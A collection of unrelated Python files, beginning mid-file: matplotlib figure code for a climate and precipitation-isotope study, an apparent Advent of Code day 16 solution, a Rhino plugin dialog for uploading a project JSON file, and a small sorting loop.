        self.sundries_cost = sundries_cost

class EmployeesPostClass(object):
    def __init__(self, name, price):
        self.name = name
        self.price = price

class MachinesPostClass(object):
    def __init__(self, machine_id, name):
        self.machine_id = machine_id
        self.name = name


# -*- coding: utf-8 -*-
"""
Created on Thu Jun 13 13:45:59 2019

@author: u0929173
"""

def Figure1(os, np, sp, mpl, bayesell, nmons, reclen, uniquesites):
    bayesell['union'] = 0
    bayesell['intersect_union'] = 0
    for site in uniquesites:
        siteinds = np.where(bayesell['site'].values == site)[0]
        nmax = np.max(bayesell.loc[siteinds, 'n'])
        print(nmax)
        fullareaind = np.where(bayesell.loc[siteinds, 'n']== nmax)[0]
        fullareaind = fullareaind[0]

        fullarea = bayesell.loc[siteinds[fullareaind], 'area']
        subareaind = np.where((bayesell.loc[siteinds, 'n'] > 0)&(bayesell.loc[siteinds, 'n'] < nmax))[0]
        #calculate the union
        bayesell.loc[siteinds[subareaind], 'union'] = np.subtract(bayesell.loc[siteinds[subareaind], 'area'].values,
            bayesell.loc[siteinds[subareaind], 'intersect_area'].values)+fullarea
        bayesell.loc[siteinds[subareaind], 'intersect_union'] = np.divide(bayesell.loc[siteinds[subareaind], 'intersect_area'].values,
                bayesell.loc[siteinds[subareaind], 'union'].values)

    #this index gets things that are not the full dataset
    subset = np.where((bayesell['n']>0)&(bayesell['n']<=120))[0]
    quant_all = np.zeros(len(nmons))
    gaussiankde = np.zeros(len(nmons))
    ns = np.arange(0, 1, 0.05)

    dataset = []
    for i in range(len(nmons)):
        nsub = np.where(bayesell['n'].values[subset]==nmons[i])[0]
        quant_all[i] = np.percentile(bayesell['intersect_union'].values[subset][nsub], 10)
        dataset.append(bayesell['intersect_union'].values[subset][nsub])
        #get the maximum value of the array
        gaussiankde[i] = sp.stats.gaussian_kde(bayesell['intersect_union'].values[subset][nsub]).evaluate(ns).max()

    #scalingfactor so all widths are scaled to their absolute maximum relative to the
    #maximum value present for all month nubmers tested
    sf = 15/max(gaussiankde)
    mpl.pyplot.figure(figsize=(4.5, 3))
    elarea = mpl.pyplot.violinplot(dataset, nmons, widths = gaussiankde*sf, showmedians = True, showextrema= False)
    ax1 = mpl.pyplot.gca()
    ax2 = ax1.twinx()
    nsites = [len(reclen[reclen>= nmon]) for nmon in nmons]
    ax2.plot(nmons, nsites, linewidth = 1, color = 'k', linestyle = '--', marker = '.')

    for ea in elarea['bodies']:
        ea.set_facecolor('#da5353')
        ea.set_edgecolor('k')
        ea.set_linewidths(0.5)
        ea.set_alpha(1)

        elarea['cmedians'].set_color('k')
        elarea['cmedians'].set_linewidths(0.5)

    ax2.spines['top'].set_visible(False)
    ax1.spines['top'].set_visible(False)
    ax1.set_xticks([24, 36, 48, 60, 72, 84, 96, 108, 120])
    mpl.pyplot.xlabel('Substimeseries length (months)')
    ax1.set_ylabel('$A_{Eall} \cap A_{Esub}$ /$A_{Eall} \cup A_{Esub}$')
    ax2.set_ylabel('Number of sites')
    mpl.pyplot.tight_layout()

    mpl.pyplot.savefig(os.path.join('c:Figs', 'Figure1.png'), dpi = 1000)

def Figure2(os, np, mpl, Basemap, koppen, koppengrid1, regresults, mask, colordict):
    climdict = {'A: Tropical': 'o', 'B: Arid':'o', 'C: Temperate':'o', 'D: Continental':'o', 'E: Polar':'o', 'N: None':'s'}

    listedcmap2 = mpl.colors.ListedColormap(['#a82424',  '#d74242', '#e06c6c', '#edabab',
                                             '#bdbdbd', '#737373', '#525252',
                                              '#252525'], 'segementedcmap', 8)

    listedcmap = mpl.colors.ListedColormap(['#e8ddee', '#fff0cc', '#daf1da',
                                           '#ebf1da', '#daf1f0', '#dae1f1',
                                           '#e6e6e6'], 'koppenmap', 7)

    fig, ax = mpl.pyplot.subplots(nrows = 2, ncols = 1, figsize = (7, 6))
    mpl.pyplot.sca(ax[0])
    #these are just going to draw on the current axis
    m1 = Basemap(projection = 'robin', lon_0 = 0, resolution = 'c')
    #m1.drawcountries(linewidth = 0.35)
    m1.drawcoastlines(linewidth = 0.5, color = '#404040', zorder = 2)
    #m1.drawmapboundary(fill_color = None)
    #m1.fillcontinents(color = None, zorder = 0)
    xgrd, ygrd = np.meshgrid(np.unique(koppen['Lon'].values), np.unique(koppen['Lat'].values))

    m1.pcolormesh(xgrd,ygrd, koppengrid1.T, cmap = listedcmap, latlon = True, zorder = 1)
    plist = []
    for key in np.sort(climdict.keys()):
        subinds = np.where(regresults['clim'].values[mask] == key[0])[0]
        x, y = m1(regresults['lon'].values, regresults['lat'].values)
        colorarray = np.round(regresults['m'].values[mask][subinds]*2.0, 0)/2
        colorarray = np.where(colorarray < 6.5, 6, colorarray)
        colorarray = np.where(colorarray > 9.5, 10, colorarray)
        p = m1.scatter(x[mask][subinds], y[mask][subinds], c = colorarray,
                   s = 10, vmin = 6, vmax = 10, marker = climdict[key],
                   linewidths = 0.5, edgecolors = 'k', cmap = listedcmap2, zorder = 10)
        plist.append(p)

    cbar = mpl.pyplot.colorbar(orientation = 'vertical',shrink = 0.90)
    cbar.set_label('slope')
    ax[0].annotate('(a)', xy = (0, 1), xytext = (0.02, 0.98), xycoords = 'axes fraction')
    #ax_legend = fig.add_axes([0.35, 0.95, 0.3, 0.03], zorder=3)

    mpl.pyplot.sca(ax[1])
    #these are just going to draw on the current axis
    m1 = Basemap(projection = 'robin', lon_0 = 0, resolution = 'c')
    m1.drawcoastlines(linewidth = 0.35, color = '#404040', zorder = 2)
    #m1.fillcontinents(color = '#dadada', zorder = 0)
    m1.pcolormesh(xgrd,ygrd, koppengrid1.T, cmap = listedcmap, latlon = True, zorder = 1)
    for key in climdict.keys():
        subinds = np.where(regresults['clim'].values[mask] == key[0])[0]
        x, y = m1(regresults['lon'].values, regresults['lat'].values)
        colorarray = np.round(regresults['m'].values[mask][subinds]*2.0, 0)/2
        colorarray = np.where(colorarray < -10, -10, colorarray)
        colorarray = np.where(colorarray > 25, 25, colorarray)
        m1.scatter(x[mask][subinds], y[mask][subinds], c = regresults['b'].values[mask][subinds],
                   s = 10, vmin = -10, vmax = 30, marker = climdict[key],
                   linewidths = 0.5, edgecolors = 'k', cmap = listedcmap2, zorder = 10)
    #make the outline of significant regressions bold
    #m1.scatter(x[mask], y[mask], c = regresults['b'].values[mask], s = 10, linewidth = 0.5, vmin = -30, vmax = 20, edgecolor = 'k')
    cbar = mpl.pyplot.colorbar(orientation = 'vertical',shrink = 0.90)
    cbar.set_label('intercept')
    ax[1].annotate('(b)', xy = (0, 1), xytext = (0.02, 0.98), xycoords = 'axes fraction')
    #ax[0].legend(plist[-2:], ['Koppen class assigned', 'Not assigned'], loc = (0.05, 1.05), ncol = 2)
    indorder = np.argsort(colordict.keys())
    markers = [mpl.pyplot.Line2D([0,0],[0,0],color=colordict.values()[indo], marker='s', linestyle='') for indo in indorder]
    ax[0].legend(np.array(markers), np.array(sorted(colordict.keys())),
                      numpoints=1, loc = 'lower left', ncol = 4, fontsize = 6,
                      bbox_to_anchor=(0.05, 1.02), frameon = False)

    mpl.pyplot.savefig(os.path.join('c:Figs', 'Figure2.png'), dpi = 1000)

def Figure3(os, np, mpl, Basemap, Rectangle, regresults, mask):
    fig, ax = mpl.pyplot.subplots(nrows = 2, ncols = 1, figsize = (6, 6), sharex = True)

    colordict = {'A: Tropical \n':'#693f7b', 'B: Arid \n':'#fbae00', 'D: Continental\n':'#5779c1',
                 'Cf: Temperate \n humid':'#379537', 'Cs: Temperate \n dry summer':'#9dba45', 'Cw: Temperate \n dry winter': '#338984',
                 'E: Polar \n and alpine':'dimgray', 'N: No \n classification':'k'}
    colordict2 = {'A':'#693f7b', 'B':'#fbae00', 'D':'#5779c1', 'E':'dimgray', 'N':'k'}
    colordict3 = {'f':'#379537', 's':'#9dba45', 'w': '#338984'}
    inc = 10
    latbins = np.arange(-90.0, 90.0+inc, inc)
    #this part is just for plotting
    latctrs = np.array([(latbins[i]+latbins[i+1])/2 for i in range(len(latbins)-1)])

    climclass = np.unique(regresults['clim'].values[mask])

    indorder = np.argsort(colordict.keys())
    markers = [mpl.pyplot.Line2D([0,0],[0,0],color=colordict.values()[indo], marker='o', linestyle='') for indo in indorder]

    #offset = {'A':-4, 'B':-2, 'C':0, 'D':2, 'E': 4, 'N':2}
    offset = np.arange(-5, 5, 1.666666667)
    width = 1.666666667
    #get all of the rows that are in each lat bin in a loop

    for l in range(2):
        if l == 0:
            key = 'm'
            default = 0.2
        else:
            key = 'b'
            default = 2

        for i in range(len(latctrs)):
            latbininds = regresults.index[mask][(regresults['lat'].values[mask] >= latbins[i]) & (regresults['lat'].values[mask] <= latbins[i+1])]
            #group them by koppen class for histogram.
            #if less than 3, no histogram, just plot
            #just scatterplot the N ones
            posind = 0
            for j in climclass:
                subinds = latbininds[regresults['clim'][latbininds] == j]
                if len(subinds) > 0:
                    if j == 'C':
                        subclass = np.array([regresults['koppen'][k][1] for k in subinds])

                        for k in np.unique(subclass):
                            fclass = regresults[key][subinds].values[subclass == k]
                            position = latctrs[i]+offset[posind]
                            llc = (position, min(fclass))
                            hgt = max(fclass) - min(fclass)
                            if hgt < default:
                                hgt = default

                            pat = Rectangle(xy=llc, width = width, height = hgt,
                               fill = True, facecolor = colordict3[k], zorder = 5)
                            ax[l].add_patch(pat)
                            posind = posind+1

                    else:
                        position = latctrs[i]+offset[posind]
                        llc = (position, min(regresults[key][subinds].values))
                        hgt = max(regresults[key][subinds].values) - min(regresults[key][subinds].values)
                        if hgt < default:
                                hgt = default
                        pat = Rectangle(xy = llc, width = width, height = hgt,
                                fill = True, facecolor = colordict2[j], zorder = 5)
                        ax[l].add_patch(pat)
                        posind = posind+1

        ax[l].set_xlim([-90, 90])
    #    ax[l].spines['right'].set_visible(False)
        ax[l].spines['top'].set_visible(False)

    ax[0].set_ylim([4, 10])
    ax[1].set_ylim([-20, 30])
    ax[0].set_xticks([])
    ax[1].set_xticks(np.arange(-90, 100, 10))
    ax[1].set_xticklabels(np.arange(-90, 100, 10))
    ax[0].xaxis.grid(True)
    ax[1].xaxis.grid(True)
    ax[1].set_xlabel('Latitude')
    ax[0].set_ylabel('Slope')
    ax[1].set_ylabel('Intercept')
    ax[0].annotate('(a)', xy = (0, 1), xytext = (0.01, 0.95), xycoords = 'axes fraction')
    ax[1].annotate('(b)', xy = (0, 1), xytext = (0.01, 0.95), xycoords = 'axes fraction')
    ax[0].legend(np.array(markers), np.array(sorted(colordict.keys())), numpoints=1, loc = 'upper left',
        ncol = 4, fontsize = 8, bbox_to_anchor=(-0.05, 1.35), frameon = False)

    mpl.pyplot.savefig(os.path.join('c:Figs', 'Figure3.png'), dpi = 1000)

def Figure4(os, np, mpl, Basemap, joined):

    Asubset = joined[(joined['clim_caller'] == 'A')&(joined['proj'] != '00076')].index
    Bsubset = joined[(joined['clim_caller'] == 'B')&(joined['proj'] != '00076')].index
    Cssubset = joined[((joined['koppen_caller'] == 'Csa')|(joined['koppen_caller'] == 'Csb'))&(joined['proj'] != '00076')].index
    Dsubset = joined[(joined['clim_caller'] == 'D')&(joined['proj'] != '00076')].index

    warmseason_dex = np.where(joined.loc[Dsubset, 'lat'] < 0, joined.loc[Dsubset, 'DJF_dex'], joined.loc[Dsubset, 'JJA_dex'])
    coldseason_dex = np.where(joined.loc[Dsubset, 'lat'] > 0, joined.loc[Dsubset, 'DJF_dex'], joined.loc[Dsubset, 'JJA_dex'])
    slope = joined.loc[Dsubset, 'm']
    warmseason_dex_e = np.where(joined.loc[Dsubset, 'lat'] < 0, joined.loc[Dsubset, 'DJF_dex_s'], joined.loc[Dsubset, 'JJA_dex_s'])
    coldseason_dex_e = np.where(joined.loc[Dsubset, 'lat'] > 0, joined.loc[Dsubset, 'DJF_dex_s'], joined.loc[Dsubset, 'JJA_dex_s'])

    xvals1 = np.where(joined.loc[Bsubset, 'lat'] > 0, joined.loc[Bsubset, 'JJA_dex'], joined.loc[Bsubset, 'DJF_dex'])
    xvals1i = np.where(joined.loc[Bsubset, 'lat'] < 0, joined.loc[Bsubset, 'JJA_dex'], joined.loc[Bsubset, 'DJF_dex'])
    yvals1 = joined.loc[Bsubset, 'm']
    evals1 = np.where(joined.loc[Bsubset, 'lat'] > 0, joined.loc[Bsubset, 'JJA_dex_s'], joined.loc[Bsubset, 'DJF_dex_s'])
    evals1i = np.where(joined.loc[Bsubset, 'lat'] < 0, joined.loc[Bsubset, 'JJA_dex_s'], joined.loc[Bsubset, 'DJF_dex_s'])

    xvals2 = np.where(joined.loc[Cssubset, 'lat'] > 0, joined.loc[Cssubset, 'JJA_dex'], joined.loc[Cssubset, 'DJF_dex'])
    xvals2i = np.where(joined.loc[Cssubset, 'lat'] < 0, joined.loc[Cssubset, 'JJA_dex'], joined.loc[Cssubset, 'DJF_dex'])
    yvals2 = joined.loc[Cssubset, 'm']
    evals2 = np.where(joined.loc[Cssubset, 'lat'] > 0, joined.loc[Cssubset, 'JJA_dex_s'], joined.loc[Cssubset, 'DJF_dex_s'])
    evals2i = np.where(joined.loc[Cssubset, 'lat'] < 0, joined.loc[Cssubset, 'JJA_dex_s'], joined.loc[Cssubset, 'DJF_dex_s'])

    xvals3 = np.where(joined.loc[Asubset, 'lat'] > 0, joined.loc[Asubset, 'JJA_dex'], joined.loc[Asubset, 'DJF_dex'])
    xvals3i = np.where(joined.loc[Asubset, 'lat'] < 0, joined.loc[Asubset, 'JJA_dex'], joined.loc[Asubset, 'DJF_dex'])
    yvals3 = joined.loc[Asubset, 'm']
    evals3 = np.where(joined.loc[Asubset, 'lat'] > 0, joined.loc[Asubset, 'JJA_dex_s'], joined.loc[Asubset, 'DJF_dex_s'])
    evals3i = np.where(joined.loc[Asubset, 'lat'] < 0, joined.loc[Asubset, 'JJA_dex_s'], joined.loc[Asubset, 'DJF_dex_s'])

    lims = np.array([[-1, -4, -14], [9, 5, 9]])

    symbolsize = 10
    fig, ax = mpl.pyplot.subplots(2, 2, figsize = (6,7), sharey = True)

    h1 = ax[0, 0].scatter(xvals2, yvals2, s = symbolsize, c = '#9dba45', zorder = 1, label = 'Temperate, hot-dry summer')
    ax[0, 0].errorbar(np.concatenate((xvals1, xvals2, xvals3)),
                        np.concatenate((yvals1, yvals2, yvals3)),
                        xerr = np.concatenate((evals1, evals2, evals3)), zorder = -2, fmt = '.', c = '#e6e6e6', label = 'standard deviation')
    h3 = ax[0, 0].scatter(xvals1, yvals1, s = symbolsize, c = '#fbae00', zorder = 2, label = 'Arid')
    h4 = ax[0, 0].scatter(xvals3, yvals3, s = symbolsize, c = '#693f7b', zorder = 3, label = 'Tropical')

    ax[0, 0].fill_between(lims[:, 0], y1= [4.5, 4.5], y2= [9.5, 9.5], color = '#fbae00', alpha = 0.1, zorder = -1)
    ax[0, 0].fill_between(lims[:, 1], y1= [4.5, 4.5], y2= [9.5, 9.5], color = '#fbae00', alpha = 0.1, zorder = -1)
    ax[0, 0].fill_between(lims[:, 2], y1= [4.5, 4.5], y2= [9.5, 9.5], color = '#fbae00', alpha = 0.1, zorder = -1)

    ax[0, 1].scatter(xvals2i, yvals2, s = symbolsize, c = '#9dba45', zorder = 1, label = 'Temperate, hot-dry summer')
    ax[0, 1].errorbar(np.concatenate((xvals1i, xvals2i, xvals3i)),
                        np.concatenate((yvals1, yvals2, yvals3)),
                        xerr = np.concatenate((evals1i, evals2i, evals3i)), zorder = -2, fmt = '.', c = '#e6e6e6', label = 'standard deviation')
    ax[0, 1].scatter(xvals1i, yvals1, s = symbolsize, c = '#fbae00', zorder = 2, label = 'Arid')
    ax[0, 1].scatter(xvals3i, yvals3, s = symbolsize, c = '#693f7b', zorder = 3, label = 'Tropical')

    h5 = ax[1,0].scatter(warmseason_dex, slope, s = symbolsize, color = '#5779c1', label = 'Continental')
    ax[1,0].errorbar(warmseason_dex, slope, xerr = warmseason_dex_e, fmt = '.', color = '#e6e6e6', zorder = -2)

    ax[1,0].fill_between(lims[:, 0], y1= [4.5, 4.5], y2= [10, 10], color = '#fbae00', alpha = 0.1, zorder = -1)
    ax[1,0].fill_between(lims[:, 1], y1= [4.5, 4.5], y2= [10, 10], color = '#fbae00', alpha = 0.1, zorder = -1)
    ax[1,0].fill_between(lims[:, 2], y1= [4.5, 4.5], y2= [10, 10], color = '#fbae00', alpha = 0.1, zorder = -1)

    ax[1,1].scatter(coldseason_dex, slope, s = symbolsize, color = '#5779c1')
    ax[1,1].errorbar(coldseason_dex, slope, xerr = coldseason_dex_e, fmt = '.', color = '#e6e6e6', zorder = -2)
    ax[1,1].fill_between([15, 30], y1= [4.5, 4.5], y2= [10, 10], color = '#5779c1', alpha = 0.1, zorder = -1)
    ax[1,1].fill_between([0, 10], y1= [4.5, 4.5], y2= [10, 10], color = '#5779c1', alpha = 0.1, zorder = -1)

    ax[1,1].annotate('Slope', xy = (0.1, 0.5), xytext = (0.02, 0.5), xycoords = 'figure fraction', rotation = 'vertical')
    ax[0,0].annotate(r'(a) ', xy = (0.1, 0.9), xytext = (0.05, 0.9), xycoords = 'axes fraction')
    ax[0,1].annotate(r'(b) ', xy = (0.1, 0.9), xytext = (0.05, 0.9), xycoords = 'axes fraction')
    ax[1,1].annotate(r'(d) ', xy = (0.1, 0.9), xytext = (0.05, 0.9), xycoords = 'axes fraction')
    ax[1,0].annotate(r'(c) ', xy = (0.1, 0.9), xytext = (0.05, 0.9), xycoords = 'axes fraction')
    ax[1,1].annotate('snow from \nmixed-phase \nclouds', xy = (0, 4.5), xytext = (0, 5), xycoords = 'data')
    ax[1,1].annotate('lake effect \nsnow', xy = (15, 4.5), xytext = (14, 5), xycoords = 'data')
    ax[1, 0].annotate('evaporated rain', xy = (-14, 4.5), xytext = (-13, 5), xycoords = 'data')
    ax[1, 0].set_xlabel('Mean warm season $d$ ('+u'\u2030'+')')
    ax[1, 1].set_xlabel('Mean cool season $d$ ('+u'\u2030'+')')
    ax[1,0].set_ylim([4.5, 9.5])
    ax[1,1].set_ylim([4.5, 9.5])
    ax[0,0].set_xlim([-15, 25])
    ax[1,0].set_xlim([-15, 25])
    ax[0,1].set_xlim([-5, 25])
    ax[1,1].set_xlim([-5, 25])
    mpl.pyplot.figlegend(handles = [h1, h3, h4, h5],
                         labels = ['Temperate, hot-dry summer', 'Arid',
                                   'Tropical', 'Continental'],
                         bbox_to_anchor = [0.8, 0.98], ncol = 2, frameon = False)
    mpl.pyplot.savefig(os.path.join('c:Figs', 'Figure4.png'), dpi = 500)

def Figure6(os, np, mpl, modslopes, regresults, mask):
    filenamepre =  ['cam2_1x1_',
     'cam5_1x1_',
     'echam5_1x1_',
     'gissE_1x1_',
     'HadAM3_1x1_',
     'isoGSM_1x1_',
     'lmdz_1x1_',
     'miroc_1x1_']

    colnames = ['dimgray', 'rosybrown', 'maroon', 'peru', 'goldenrod', 'olive', 'darkolivegreen', 'cadetblue', 'midnightblue', ]
    maskdict = {0:('B', 'B: Arid'), 1:('A', 'A: Tropical'), 2:('D', 'D: Continental')}
    keys={0:('m', '_m'), 1:('b', '_b')}
    letters = [['(a)', '(b)'], ['(c)','(d)'], ['(e)', '(f)']]

    fig, ax = mpl.pyplot.subplots(nrows = 3, ncols = 2, figsize = (6, 7), sharex = True)

    #count through rows
    for i in range(len(maskdict)):
        climmask = regresults['clim'][mask] == maskdict[i][0]
        for j in range(len(keys)):
            data = regresults[keys[j][0]][mask][climmask].values[:, None]

            for k in range(len(filenamepre)):
                y = modslopes[filenamepre[k][:-5]+keys[j][1]][climmask].values[:, None]
                data = np.concatenate((data, y), axis = 1)
            data = np.array(list(data), dtype = np.float)

            for k in range(9):
                flierprops = dict(marker='.', markerfacecolor=colnames[k], markersize=6,
                              linestyle='none', markeredgecolor = 'none')
                bplot = ax[i, j].boxplot(data[:, k][~np.isnan(data[:, k])], positions = [k+1],
                                   patch_artist = True, vert = True, widths = 0.5, flierprops = flierprops)
                bplot['boxes'][0].set_color(colnames[k])
                bplot['medians'][0].set_color('k')

            ax[i, j].annotate(letters[i][j], xy = (0, 1), xytext = (0.02, 0.92), xycoords = 'axes fraction')
            ax[i, j].set_xlim([0, 10])
            ax[i, j].spines['right'].set_visible(False)
            ax[i, j].spines['top'].set_visible(False)
            if j == 0:
                ax[i, j].set_ylim([5, 10])
                ax[i, j].set_ylabel('{}'.format(maskdict[i][1]))
            else:
                ax[i, j].set_ylim([-20, 30])
                #ax[i, j].set_ylabel('Intercept - {}'.format(maskdict[i][1]))

    fig.text(0.25, 0.98, 'Slope', ha='center')
    fig.text(0.75, 0.98, 'Intercept', ha='center')

    ax[2, 0].set_xticks(range(1,10,1))
    ax[2, 1].set_xticks(range(1,10,1))
    legendnames = [fname[:-5] for fname in filenamepre]
    legendnames.insert(0, 'data')

    ax[2, 0].set_xticklabels(legendnames, rotation = 70)
    ax[2, 1].set_xticklabels(legendnames, rotation = 70)

    fig.text(0.5, 0.02, 'Data Source', ha='center')
    mpl.pyplot.tight_layout(pad = 1.1, w_pad = 1, h_pad = 2.0)

    mpl.pyplot.savefig(os.path.join('c:Figs', 'Figure6.png'), dpi = 1000)


import numpy as np

patterns = dict()

def gen_pattern(digit, length):
    if (digit, length) in patterns:
        return patterns[(digit, length)]
    pattern = np.concatenate((
        np.repeat(0, digit),
        np.repeat(1, digit),
        np.repeat(0, digit),
        np.repeat(-1, digit),
    ))
    pattern = np.resize(pattern, length + 1)[1:]
    patterns[(digit, length)] = pattern
    return pattern

def perform_phase(inp, offset=0):
    out = np.zeros(len(inp), dtype=int)

    if offset > len(inp) // 2:
        s = sum(inp[offset:])
        for idx in range(offset, len(inp)):
            out[idx] = s % 10
            s -= inp[idx]
    else:
        for idx in range(len(inp)):
            pattern = gen_pattern(idx + 1, len(inp))
            out[idx] = np.abs(np.sum(inp * pattern)) % 10
    return out

if __name__ == "__main__":
    with open('16.txt') as f:
        data = f.read()

    inp = np.array(list(int(i) for i in data.strip()), dtype=int)

    p1_inp = np.copy(inp)
    for _ in range(100):
        p1_inp = perform_phase(p1_inp)
    print("Part 1: {}".format(''.join(map(str, p1_inp[:8]))))

    offset = int(''.join(str(n) for n in inp[:7]))
    p2_inp = np.tile(inp, 10000)
    for idx in range(100):
        print(idx)
        p2_inp = perform_phase(p2_inp, offset)
    print("Part 2: {}".format(''.join(str(i)
                                      for i in p2_inp[offset:offset + 8])))


from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from datamodels.project_class import OpenPlansProject

import rhinoscriptsyntax as rs
import Rhino
import scriptcontext as sc
import System
import Rhino.UI
import Eto.Forms as forms
import Eto.Drawing as drawing

import rhino.rhino_helpers as rhh
import datamodels
import json

__commandname__ = "OPUploadProject"

class GetJsonFilePath(forms.Dialog[bool]):

    def __init__(self):
        # Initialize dialog box
        self.Title = 'OPEN PLANS: Upload project to database'
        self.Padding = drawing.Padding(10)
        self.Resizable = False

        # select file location
        self.m_label_file = forms.Label(Text='Project File Path (json)')
        self.m_textbox_file = forms.TextBox(Text=None)

        # Create the browse button
        self.BrowseButton = forms.Button(Text='Browse...')
        self.BrowseButton.Click += self.on_browse_button_click

        # Create the default button
        self.DefaultButton = forms.Button(Text='Upload')
        self.DefaultButton.Click += self.on_OK_button_click

        # Create the abort button
        self.AbortButton = forms.Button(Text='Cancel')
        self.AbortButton.Click += self.on_close_button_click

        # Create a table layout and add all the controls
        layout = forms.DynamicLayout()
        layout.Spacing = drawing.Size(80, 20)
        layout.AddRow(self.m_label_file,
                      self.m_textbox_file, self.BrowseButton)
        layout.AddRow(self.m_label_file,
                      self.m_textbox_file, self.BrowseButton)
        layout.AddRow(None)  # spacer
        layout.AddRow(None, self.DefaultButton, self.AbortButton)

        self.Content = layout

    def get_file_location(self):
        return self.m_textbox_file.Text

    # Close button click handler

    def on_close_button_click(self, sender, e):
        self.Close(False)

    # OK button click handler
    def on_OK_button_click(self, sender, e):
        if self.m_textbox_file.Text == "":
            raise Exception("Failed to upload project: file path is required")
        else:
            self.Close(True)

    def on_browse_button_click(self, sender, e):
        filename = rs.OpenFileName("Open", "JSON Files (*.json)|*.json||")
        if filename:
            self.m_textbox_file.Text = filename

def request_json_file():
    dialog = GetJsonFilePath()
    rc = dialog.ShowModal(Rhino.UI.RhinoEtoApp.MainWindow)
    if (rc):
        return dialog.get_file_location()
    else:
        return False

def json_to_dict(filepath):
    with open(filepath) as d:
        data = json.load(d)
    if data:
        return data

def RunCommand(is_interactive):
    project_file = request_json_file()
    data = json_to_dict(project_file)
    project = datamodels.OpenPlansProject.from_custom(data=data)
    project.upload_to_openplans()

if __name__ == "__main__":
    RunCommand(True)


arr = [6,3,9,2,4,3,0,1,4,8]

for i in range(len(arr)-1):
    j = i+1
    while(arr[j]<arr[i]):
        temp = arr[i]
        arr[i] = arr[j]
        arr[j] = temp
        if (i > 0):
            j = j-1
            i = i -1
        else:
            break
print(arr)